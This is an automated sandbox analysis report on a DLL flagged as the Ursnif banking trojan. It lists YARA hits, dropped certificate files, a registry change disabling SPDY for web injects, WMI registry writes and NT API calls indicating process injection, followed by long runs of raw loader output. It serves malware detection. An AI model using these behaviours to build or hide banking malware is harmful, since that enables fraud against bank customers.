Source: loaddll32.exe, 00000000.00000002.511370444.0000000000C2B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: control.exe PID: 6968, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 4360, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4760, type: MEMORY

Disables SPDY (HTTP compression, likely to perform web injects)

Show sources

Source: C:\Windows\explorer.exe

Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\183C.bin\Root.pfx			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\183C.bin\AuthRoot.pfx			Jump to dropped file

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::CreateKey
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A864BF NtMapViewOfSection,	1_2_04A864BF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A84093 GetProcAddress,NtCreateSection,memset,	1_2_04A84093
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A89E28 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	1_2_04A89E28
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A8B2CD NtQueryVirtualMemory,	1_2_04A8B2CD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_0493029D NtProtectVirtualMemory,	1_2_0493029D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_0493009C NtAllocateVirtualMemory,	1_2_0493009C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04930066 NtAllocateVirtualMemory,	1_2_04930066
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B88E0 NtQueryInformationToken,NtQueryInformationToken,NtClose,	31_2_006B88E0
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B1920 NtReadVirtualMemory,	31_2_006B1920
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A6104 NtQueryInformationProcess,	31_2_006A6104
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A91C0 NtQueryInformationProcess,	31_2_006A91C0
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BA9D8 NtWriteVirtualMemory,	31_2_006BA9D8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BDE98 NtAllocateVirtualMemory,	31_2_006BDE98
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BD748 NtMapViewOfSection,	31_2_006BD748
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B7B34 NtCreateSection,	31_2_006B7B34
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BEB10 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification,	31_2_006BEB10
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B67C8 RtlAllocateHeap,NtSetContextThread,NtUnmapViewOfSection,NtClose,	31_2_006B67C8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006D900A NtProtectVirtualMemory,NtProtectVirtualMemory,	31_2_006D900A
Source: C:\Windows\System32\control.exe	Code function: 31_2_006D936C NtProtectVirtualMemory,	31_2_006D936C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC91C0 NtQueryInformationProcess,	34_2_0000024E31FC91C0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD88E0 NtQueryInformationToken,NtQueryInformationToken,NtClose,	34_2_0000024E31FD88E0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FF900A NtProtectVirtualMemory,NtProtectVirtualMemory,	34_2_0000024E31FF900A

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A8B0AC	1_2_04A8B0AC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 1_2_04A88534	1_2_04A88534
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B2A04	31_2_006B2A04
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A932C	31_2_006A932C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B67C8	31_2_006B67C8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BF06C	31_2_006BF06C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BCC1C	31_2_006BCC1C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B64DC	31_2_006B64DC
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BC8A8	31_2_006BC8A8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BCC80	31_2_006BCC80
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A3498	31_2_006A3498
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B909C	31_2_006B909C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B096B	31_2_006B096B
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C117C	31_2_006C117C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C654C	31_2_006C654C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A8D2C	31_2_006A8D2C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B051C	31_2_006B051C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006AFDD8	31_2_006AFDD8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C31A4	31_2_006C31A4
Source: C:\Windows\System32\control.exe	Code function: 31_2_006AA1A0	31_2_006AA1A0
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B4670	31_2_006B4670
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B2648	31_2_006B2648
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A964C	31_2_006A964C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C7228	31_2_006C7228
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BC224	31_2_006BC224
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B0EC4	31_2_006B0EC4
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C7EDC	31_2_006C7EDC
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A7ED8	31_2_006A7ED8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A4AA0	31_2_006A4AA0
Source: C:\Windows\System32\control.exe	Code function: 31_2_006AA6A4	31_2_006AA6A4
Source: C:\Windows\System32\control.exe	Code function: 31_2_006AB2A4	31_2_006AB2A4
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C5A88	31_2_006C5A88
Source: C:\Windows\System32\control.exe	Code function: 31_2_006B3A9C	31_2_006B3A9C
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A5B40	31_2_006A5B40
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C6BDC	31_2_006C6BDC
Source: C:\Windows\System32\control.exe	Code function: 31_2_006BF7D4	31_2_006BF7D4
Source: C:\Windows\System32\control.exe	Code function: 31_2_006C4FA8	31_2_006C4FA8
Source: C:\Windows\System32\control.exe	Code function: 31_2_006A6380	31_2_006A6380
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD2A04	34_2_0000024E31FD2A04
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC932C	34_2_0000024E31FC932C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE5A88	34_2_0000024E31FE5A88
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD4670	34_2_0000024E31FD4670
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC964C	34_2_0000024E31FC964C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD2648	34_2_0000024E31FD2648
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE7228	34_2_0000024E31FE7228
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FDC224	34_2_0000024E31FDC224
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FCFDD8	34_2_0000024E31FCFDD8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE31A4	34_2_0000024E31FE31A4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FCA1A0	34_2_0000024E31FCA1A0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE117C	34_2_0000024E31FE117C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD096B	34_2_0000024E31FD096B
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE654C	34_2_0000024E31FE654C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC8D2C	34_2_0000024E31FC8D2C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD051C	34_2_0000024E31FD051C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD64DC	34_2_0000024E31FD64DC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FDC8A8	34_2_0000024E31FDC8A8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD909C	34_2_0000024E31FD909C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC3498	34_2_0000024E31FC3498
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FDCC80	34_2_0000024E31FDCC80
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FDF06C	34_2_0000024E31FDF06C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FDCC1C	34_2_0000024E31FDCC1C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE6BDC	34_2_0000024E31FE6BDC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FDF7D4	34_2_0000024E31FDF7D4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD67C8	34_2_0000024E31FD67C8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE4FA8	34_2_0000024E31FE4FA8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC6380	34_2_0000024E31FC6380
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC5B40	34_2_0000024E31FC5B40
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FE7EDC	34_2_0000024E31FE7EDC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC7ED8	34_2_0000024E31FC7ED8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD0EC4	34_2_0000024E31FD0EC4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FCA6A4	34_2_0000024E31FCA6A4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FCB2A4	34_2_0000024E31FCB2A4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FC4AA0	34_2_0000024E31FC4AA0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_0000024E31FD3A9C	34_2_0000024E31FD3A9C

Source: unknown

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 728

Source: vnaSKDMnLG.dll

Static PE information: invalid certificate

Source: q3xypckz.dll.24.dr	Static PE information: No import functions for PE file found
Source: chv50z53.dll.26.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: @ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ? .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: > .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: = .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: < .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ; .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: : .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 9 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 8 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 7 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 6 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 5 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 4 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 3 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 2 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 1 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: 0 .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: - .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: , .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: + .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: * .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ) .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ( .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ' .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: & .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: % .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: $ .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: # .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ' .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ! .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: .dll	Jump to behavior
